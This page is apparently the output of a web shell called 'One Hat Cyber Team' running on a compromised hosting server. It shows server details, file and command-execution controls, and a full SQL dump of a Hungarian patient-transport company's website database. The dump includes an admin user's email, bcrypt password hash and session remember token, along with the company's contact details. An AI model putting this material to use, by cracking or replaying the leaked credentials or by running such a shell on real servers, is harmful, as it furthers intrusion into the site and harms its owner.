One Hat Cyber Team
Your IP :
216.73.217.176
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.3.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
esetkocsi
/
public_html
/
View File Name :
esetkocsi.sql
-- phpMyAdmin SQL Dump -- version 5.2.1 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1:3307 -- Generation Time: Oct 16, 2023 at 12:22 PM -- Server version: 10.4.28-MariaDB -- PHP Version: 8.2.4 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `esetkocsi` -- -- -------------------------------------------------------- -- -- Table structure for table `content_blocks` -- CREATE TABLE `content_blocks` ( `id` bigint(20) UNSIGNED NOT NULL, `content_blocks` varchar(255) NOT NULL, `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL CHECK (json_valid(`content`)), `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `content_blocks` -- INSERT INTO `content_blocks` (`id`, `content_blocks`, `content`, `created_at`, `updated_at`) VALUES (6, 'rolunk_hero', '[{\"type\":\"heading\",\"data\":{\"content\":\"R\\u00f3lunkkk\",\"level\":\"h2\"}},{\"type\":\"heading\",\"data\":{\"content\":\"\\u00dcdv\\u00f6z\\u00f6lj\\u00fck az Esetkocsi weboldal\\u00e1n!\",\"level\":\"h4\"}},{\"type\":\"paragraph\",\"data\":{\"content\":\"<p>C\\u00e9g\\u00fcnk elk\\u00f6telezett az emberi eg\\u00e9szs\\u00e9g \\u00e9s biztons\\u00e1g ir\\u00e1nt, \\u00e9s olyan szolg\\u00e1ltat\\u00e1sokat k\\u00edn\\u00e1lunk, amelyekkel megk\\u00f6nny\\u00edtj\\u00fck a betegek \\u00e9s az id\\u0151sek sz\\u00e1ll\\u00edt\\u00e1s\\u00e1t k\\u00f3rh\\u00e1zb\\u00f3l k\\u00f3rh\\u00e1zba, vagy ak\\u00e1r haza. <\\/p><p>A Ment\\u0151tiszti \\u00e9s Ment\\u0151technikusi k\\u00e9pes\\u00edt\\u00e9sekkel rendelkez\\u0151 szakembereink gondoskodnak r\\u00f3la, hogy utasaink minden szempontb\\u00f3l megfelel\\u0151 ell\\u00e1t\\u00e1sban r\\u00e9szes\\u00fcljenek. <\\/p><p>C\\u00e9g\\u00fcnk kiemelt figyelmet ford\\u00edt az emberi eg\\u00e9szs\\u00e9g \\u00e9s biztons\\u00e1g v\\u00e9delm\\u00e9re, \\u00e9s olyan speci\\u00e1lis szolg\\u00e1ltat\\u00e1sokat k\\u00edn\\u00e1lunk, amelyek seg\\u00edtenek a betegeknek \\u00e9s az id\\u0151seknek a k\\u00f3rh\\u00e1zi kezel\\u00e9s\\u00fckh\\u00f6z kapcsol\\u00f3d\\u00f3 sz\\u00e1ll\\u00edt\\u00e1si ig\\u00e9nyeik megold\\u00e1s\\u00e1ban. <\\/p><p>A c\\u00e9g\\u00fcnk alkalmazottai ment\\u0151tiszti \\u00e9s ment\\u0151technikusi k\\u00e9pes\\u00edt\\u00e9ssel rendelkez\\u0151 szakemberek, akik kiv\\u00e1l\\u00f3an felk\\u00e9sz\\u00fcltek \\u00e9s tapasztaltak abban, hogy gondoskodjanak az utasok biztons\\u00e1g\\u00e1r\\u00f3l \\u00e9s k\\u00e9nyelm\\u00e9r\\u0151l. <\\/p><p>\\u0150k felelnek az\\u00e9rt, hogy az utaz\\u00e1s minden szempontb\\u00f3l megfelel\\u0151 \\u00e9s biztons\\u00e1gos legyen.<\\/p>\"}},{\"type\":\"image\",\"data\":{\"url\":3}}]', '2023-10-15 17:16:10', '2023-10-16 07:41:46'), (7, 'teszt', '[{\"type\":\"paragraph\",\"data\":{\"content\":\"<p>szia jani<\\/p>\"}}]', '2023-10-16 07:25:05', '2023-10-16 07:25:05'); -- -------------------------------------------------------- -- -- Table structure for table `failed_jobs` -- CREATE TABLE `failed_jobs` ( `id` bigint(20) UNSIGNED NOT NULL, `uuid` varchar(255) NOT NULL, `connection` text NOT NULL, `queue` text NOT NULL, `payload` longtext NOT NULL, `exception` longtext NOT NULL, `failed_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `media` -- CREATE TABLE `media` ( `id` bigint(20) UNSIGNED NOT NULL, `public_id` varchar(255) DEFAULT NULL, `filename` varchar(255) NOT NULL, `ext` varchar(255) DEFAULT NULL, `type` varchar(255) DEFAULT NULL, `alt` varchar(255) DEFAULT NULL, `title` varchar(255) DEFAULT NULL, `description` text DEFAULT NULL, `caption` text DEFAULT NULL, `width` int(10) UNSIGNED DEFAULT NULL, `height` int(10) UNSIGNED DEFAULT NULL, `disk` varchar(255) NOT NULL DEFAULT 'public', `directory` varchar(255) DEFAULT NULL, `size` bigint(20) UNSIGNED DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `media` -- INSERT INTO `media` (`id`, `public_id`, `filename`, `ext`, `type`, `alt`, `title`, `description`, `caption`, `width`, `height`, `disk`, `directory`, `size`, `created_at`, `updated_at`) VALUES (2, 'media/2a4ce524-4070-4cc3-b012-4f45dbaea54f', 'media/2a4ce524-4070-4cc3-b012-4f45dbaea54f.png', 'png', 'image/png', 'eset-kocsi-logo', 'web-logo', NULL, NULL, 1080, 1080, 'public', 'media', 1027616, '2023-10-15 05:54:40', '2023-10-15 05:54:40'), (3, 'media/c852a4df-2304-42c5-b04c-bd0b4c4392b6', 'media/c852a4df-2304-42c5-b04c-bd0b4c4392b6.jpg', 'jpg', 'image/jpeg', 'eset-kocsi-rolunk', NULL, NULL, NULL, 1684, 2048, 'public', 'media', 370799, '2023-10-15 17:47:20', '2023-10-15 17:47:41'); -- -------------------------------------------------------- -- -- Table structure for table `migrations` -- CREATE TABLE `migrations` ( `id` int(10) UNSIGNED NOT NULL, `migration` varchar(255) NOT NULL, `batch` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `migrations` -- INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES (1, '2014_10_12_000000_create_users_table', 1), (2, '2014_10_12_100000_create_password_resets_table', 1), (3, '2019_08_19_000000_create_failed_jobs_table', 1), (4, '2019_12_14_000001_create_personal_access_tokens_table', 1), (5, '2023_10_10_190654_create_pages_table', 2), (6, '2023_10_11_124122_create_template_table', 3), (7, '2023_10_11_181332_add_template_id_page', 4), (8, '2023_10_11_203351_create_sections_table', 5), (9, '2023_10_11_211511_make_sectione_name_unique', 6), (10, '2023_10_12_055200_create_page_elements_table', 7), (11, '2023_10_14_165346_create_website_config', 8), (15, '2023_10_14_174027_create_media_table', 9), (16, '2023_10_15_082416_add_is_menu_is_submenu', 10), (17, '2023_10_15_184444_add_content_pages', 11); -- -------------------------------------------------------- -- -- Table structure for table `pages` -- CREATE TABLE `pages` ( `id` bigint(20) UNSIGNED NOT NULL, `title` varchar(255) DEFAULT NULL, `slug` varchar(255) DEFAULT NULL, `url` varchar(255) DEFAULT NULL, `published` tinyint(1) DEFAULT NULL, `published_at` datetime DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `template_id` bigint(20) UNSIGNED NOT NULL, `is_menu` tinyint(1) NOT NULL DEFAULT 0, `is_submenu` bigint(20) UNSIGNED DEFAULT NULL, `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL CHECK (json_valid(`content`)) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `pages` -- INSERT INTO `pages` (`id`, `title`, `slug`, `url`, `published`, `published_at`, `created_at`, `updated_at`, `template_id`, `is_menu`, `is_submenu`, `content`) VALUES (6, 'Kezdőlap', 'kezdolap', NULL, 1, NULL, '2023-10-12 05:20:32', '2023-10-16 07:25:21', 15, 1, NULL, '[{\"content-block-id\":\"6\"},{\"content-block-id\":\"7\"}]'), (7, 'Nincs ilyen oldal', 'not_found', NULL, 1, NULL, '2023-10-12 12:15:18', '2023-10-15 10:44:01', 15, 0, NULL, NULL), (8, 'Rólunk', 'rolunk', NULL, 1, NULL, '2023-10-12 12:30:14', '2023-10-15 10:24:55', 15, 1, NULL, NULL), (9, 'Kapcsolat', 'kapcsolat', NULL, 1, NULL, '2023-10-12 13:16:59', '2023-10-15 06:32:07', 15, 1, NULL, NULL), (10, 'Partnereink', 'partnereink', NULL, 1, NULL, '2023-10-12 13:41:07', '2023-10-15 06:32:09', 15, 1, NULL, NULL), (11, 'Szolgáltatásaink', 'szolgaltatasaink', NULL, 1, NULL, '2023-10-12 13:51:25', '2023-10-15 10:47:55', 15, 1, 11, NULL), (12, 'asd', 'asd', NULL, 1, NULL, '2023-10-16 07:22:44', '2023-10-16 07:22:44', 15, 1, NULL, '[{\"content-block-id\":null}]'); -- -------------------------------------------------------- -- -- Table structure for table `password_resets` -- CREATE TABLE `password_resets` ( `email` varchar(255) NOT NULL, `token` varchar(255) NOT NULL, `created_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `personal_access_tokens` -- CREATE TABLE `personal_access_tokens` ( `id` bigint(20) UNSIGNED NOT NULL, `tokenable_type` varchar(255) NOT NULL, `tokenable_id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) NOT NULL, `token` varchar(64) NOT NULL, `abilities` text DEFAULT NULL, `last_used_at` timestamp NULL DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `template` -- CREATE TABLE `template` ( `id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) DEFAULT NULL, `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `template` -- INSERT INTO `template` (`id`, `name`, `content`, `created_at`, `updated_at`) VALUES (15, 'DefaultLayout', '[{\"element_type\":\"include\",\"element_name\":\"style\",\"status\":true},{\"element_type\":\"include\",\"element_name\":\"navBar\",\"status\":true},{\"element_type\":\"yield\",\"element_name\":\"content\",\"status\":true},{\"element_type\":\"include\",\"element_name\":\"script\",\"status\":true},{\"element_type\":\"include\",\"element_name\":\"footer\",\"status\":true}]', '2023-10-12 04:59:11', '2023-10-15 13:01:35'); -- -------------------------------------------------------- -- -- Table structure for table `template_elements` -- CREATE TABLE `template_elements` ( `id` bigint(20) UNSIGNED NOT NULL, `element_name` varchar(255) NOT NULL, `status` int(11) NOT NULL DEFAULT 1, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `template_elements` -- INSERT INTO `template_elements` (`id`, `element_name`, `status`, `created_at`, `updated_at`) VALUES (1, 'include', 1, '2023-10-12 04:11:42', '2023-10-12 04:11:42'), (2, 'yield', 1, '2023-10-12 04:11:53', '2023-10-12 04:11:53'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `email_verified_at` timestamp NULL DEFAULT NULL, `password` varchar(255) NOT NULL, `remember_token` varchar(100) DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `users` -- INSERT INTO `users` (`id`, `name`, `email`, `email_verified_at`, `password`, `remember_token`, `created_at`, `updated_at`) VALUES (1, 'Szilard', 'abc@def.hu', NULL, '$2y$10$m7FBO4LEYzlE8RSkjpf1.ObX7HrywaPRxq0Rn8ABEjg0QE9zes.fy', 'vNNVlDrtkzOwwmyO6AafDQ1Mlcu5yBFrPo1HjvdR8VwmdkiP5gM6bPfb04Fr', '2023-10-10 11:38:38', '2023-10-10 11:38:38'); -- -------------------------------------------------------- -- -- Table structure for table `website_config` -- CREATE TABLE `website_config` ( `id` bigint(20) UNSIGNED NOT NULL, `website_name` varchar(255) DEFAULT NULL, `email` varchar(255) DEFAULT NULL, `phone_number` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL CHECK (json_valid(`phone_number`)), `address` varchar(255) DEFAULT NULL, `facebook` varchar(255) DEFAULT NULL, `twitter` varchar(255) DEFAULT NULL, `instagram` varchar(255) DEFAULT NULL, `logo` varchar(255) DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `website_config` -- INSERT INTO `website_config` (`id`, `website_name`, `email`, `phone_number`, `address`, `facebook`, `twitter`, `instagram`, `logo`, `created_at`, `updated_at`) VALUES (2, 'Esetkocsi', 'oxytrans@gmail.com', '[{\"owner\":\"Weboldal\",\"number\":\"36703690823\"}]', '3400 Mezőkővesd, József Attila u. 3', NULL, NULL, NULL, '2', '2023-10-14 16:35:36', '2023-10-15 08:56:08'); -- -- Indexes for dumped tables -- -- -- Indexes for table `content_blocks` -- ALTER TABLE `content_blocks` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `sections_section_name_unique` (`content_blocks`); -- -- Indexes for table `failed_jobs` -- ALTER TABLE `failed_jobs` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`); -- -- Indexes for table `media` -- ALTER TABLE `media` ADD PRIMARY KEY (`id`); -- -- Indexes for table `migrations` -- ALTER TABLE `migrations` ADD PRIMARY KEY (`id`); -- -- Indexes for table `pages` -- ALTER TABLE `pages` ADD PRIMARY KEY (`id`), ADD KEY `pages_template_id_index` (`template_id`); -- -- Indexes for table `password_resets` -- ALTER TABLE `password_resets` ADD KEY `password_resets_email_index` (`email`); -- -- Indexes for table `personal_access_tokens` -- ALTER TABLE `personal_access_tokens` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `personal_access_tokens_token_unique` (`token`), ADD KEY `personal_access_tokens_tokenable_type_tokenable_id_index` (`tokenable_type`,`tokenable_id`); -- -- Indexes for table `template` -- ALTER TABLE `template` ADD PRIMARY KEY (`id`); -- -- Indexes for table `template_elements` -- ALTER TABLE `template_elements` ADD PRIMARY KEY (`id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `users_email_unique` (`email`); -- -- Indexes for table `website_config` -- ALTER TABLE `website_config` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `content_blocks` -- ALTER TABLE `content_blocks` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `failed_jobs` -- ALTER TABLE `failed_jobs` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `media` -- ALTER TABLE `media` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `migrations` -- ALTER TABLE `migrations` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=18; -- -- AUTO_INCREMENT for table `pages` -- ALTER TABLE `pages` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `personal_access_tokens` -- ALTER TABLE `personal_access_tokens` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `template` -- ALTER TABLE `template` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16; -- -- AUTO_INCREMENT for table `template_elements` -- ALTER TABLE `template_elements` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `website_config` -- ALTER TABLE `website_config` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- Constraints for dumped tables -- -- -- Constraints for table `pages` -- ALTER TABLE `pages` ADD CONSTRAINT `pages_template_id_foreign` FOREIGN KEY (`template_id`) REFERENCES `template` (`id`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;